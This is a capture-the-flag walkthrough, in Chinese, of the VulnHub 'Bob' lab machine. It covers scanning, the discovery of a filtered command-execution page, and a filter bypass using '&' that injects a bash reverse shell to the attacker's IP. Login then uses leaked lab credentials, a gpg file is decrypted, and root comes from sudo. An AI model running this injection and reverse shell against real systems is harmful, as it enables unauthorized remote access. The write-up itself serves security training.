靶机安装
下载地址:Bob: 1.0.1 ~ VulnHub
信息收集
扫描靶机IP
nmap 192.168.93.0/24
端口扫描,开放了21,80,25468,其中ssh服务端口改到了25468。
nmap -A 192.168.93.160 -p-
目录扫描
dirsearch -u http://192.168.93.160
进行网址访问
在页面的NEWS里面有一个消息,
即学校主服务器只能在内部访问。
Contact Us页面列出了各部门各员工的电话和email,其中IT部门的Bob可能是管理员。
在Login页面提示外部登录已禁用。
查看页面源代码,可能是我们要想办法用新IT员工的身份?
在网址后面拼接扫描出来的目录/robots.txt
继续拼接这些目录,/dev_shell.php,是一个命令执行功能的页面,测试后发现存在过滤,并不是所有命令都可以被执行的
这里通过管道符'|'列出当前目录下的文件,发现dev_shell.php.bak,即dev_shell.php的备份文件。
访问/lat_memo.html。又是一段Bob留言,告诉我们服务器上存在一个没有保护的webshell。
获取shell
知道服务器存在webshell,很明显dev_shell.php的命令执行是突破点,绕过过滤写入反弹shell
# 攻击机开启监听
nc -lvvp 6767
# &符号绕过过滤
whoami & echo "bash -i >& /dev/tcp/192.168.93.130/6767 0>&1" | bash
切换到家目录,发现有四个用户,分别对应Contact Us页面中IT部门的四个工作人员。
进入到bob用户目录下面看看有什么文件,发现里面好像有一个像密码的文件
查看这个文件,像账户密码信息
继续看看其他文件夹,到Documents目录下
查看里面的文件,login.txt.gpg这是一个经过gpg加密的文件,尝试解密
报错,提示权限不够
gpg -d login.txt.gpg
继续深入Secret文件夹,直到/Secret/Keep_Out/Not_Porn/No_Lookie_In_Here发现一个可执行notes.sh文件,但没有看懂
解密login.txt.gpg时提示权限不够,这个账户没权限那就ssh登录到其他账户试试,前面告诉我们jc和seb账户的密码,试试。注意ssh端口是25468。
ssh jc@192.168.93.160 -p 25468
密码:Qwerty
在这个用户里面解密login.txt.gpg文件。权限问题解决了但是密码不知道。
还是要进入到/home/bob/Documents 的目录下面
gpg -d login.txt.gpg
notes.sh应该是密码。百度发现密码就是notes.sh的藏头:HARPOCRATES
重新解密
成功解密,得到Bob密码:b0bcat_
提权
登录Bob账户,想办法提权。sudo -l发现是ALL,直接sudo su。
查看flag